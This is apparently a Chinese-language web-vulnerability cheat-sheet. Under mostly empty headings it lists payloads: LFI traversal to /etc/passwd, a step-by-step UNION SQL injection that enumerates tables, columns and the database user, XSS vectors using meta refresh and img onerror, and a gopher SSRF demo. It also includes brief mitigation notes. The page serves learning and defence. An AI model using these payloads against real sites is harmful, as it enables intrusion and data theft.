Web 網頁漏洞與利用方法

LFI

本地文檔包含漏洞

工具

案例

技巧1

從後面加入路徑。

http://localhost:8080/lfi.php?lfi=lfi-include.php../../../../../../../../../../../../../../../../../../etc/passwd

該方法可用於移除前綴,php可能會受到此危害

參見Google Peering LFI

技巧2

技巧3

LFI to RCE

pear

需要開啟 register_argc_argv

失效原因

路徑遍歷

SQL Injection

工具 sqlmap

常見注入點

大家認為容易被注入的地方

相反應該逆向思考,以下為容易疏忽的地方,遇見幾個案例。

多加思考是否其他地方,程式設計師會想要透過 SQL 實做查詢的地方。

類型

流程

找出注入點之後,如where的注入點可以,透過order byselect 1,2... 的方式猜測被注入的 table 的 columns 數量,可以抓一個最大值之後二分搜, order by N 等於小於 column 數時,頁面就不會報錯。

' order by 10 # error
' order by 7  # error
' order by 5  # success
' order by 6  # success

如上面所示,我們找出此表格為 6。個 columns,構造 payload 取得版本,要注意的是前後 union 要相同 column 數,有的時候型別也會影響。

' union select '','','',version(),'',''; #

取得資料表名稱

' union select '','','',TABLE_NAME,'','' FROM INFORMATION_SCHEMA.tables; #
' union select '','','',group_concat(TABLE_NAME),'','' FROM INFORMATION_SCHEMA.tables; #

枚舉 table 中欄位名稱

SELECT group_concat(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'table' GROUP BY 1

取得使用者名稱

' union select '','','',CURRENT_USER(),'',''; #

而惡意攻擊者可以繼續將union加工,若服務有列出表單的相關功能, 可以讓私人資料結合到原先的輸出使資料外洩。

實務方法

緩解方法

作弊表

目標 Arbitrary Read / Write

其他參考資料

NoSQL Injection

工具 NoSQLMap

XSS

不建議使用黑名單等過濾器過濾,特別是允許html tags時更因該採用白名單。

工具

類型

非 Script Tag 的 XSS

過濾器漏洞

Meta可能可以引導受害者轉跳到釣魚網頁或者執行惡意腳本。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

過濾器漏洞如果遺漏了',只過濾"依然會有問題

<img src=x onerror="alert(1)">

改成下列語法,依然沒有被過濾

<img src=x onerror='alert(1)'>

練習資源

參見

CSRF

預防 CSRF 可以透過 CSRF token,可能在 cookie 或 input

  1. 產生 Token 保存在伺服器端
  2. 傳送 Token 給使用者
  3. 使用者發出請求附上此 Token

工具

場景

誤區

SSRF

工具 SSRFmap

常見場景

gopher

透過 gopher 構造 TCP 請求,必須使用 url encoding

terminal A

nc -l -p 1337

terminal B

curl gopher://localhost:1337/_hello%20world

緩解

參見

弱型別

php

陣列

雜項

Javascript

Deserialization 反序列化

參見


PHP Web Web安全 Vulnerability SQL Javascript XSS LFI CSRF Exploit Exploiting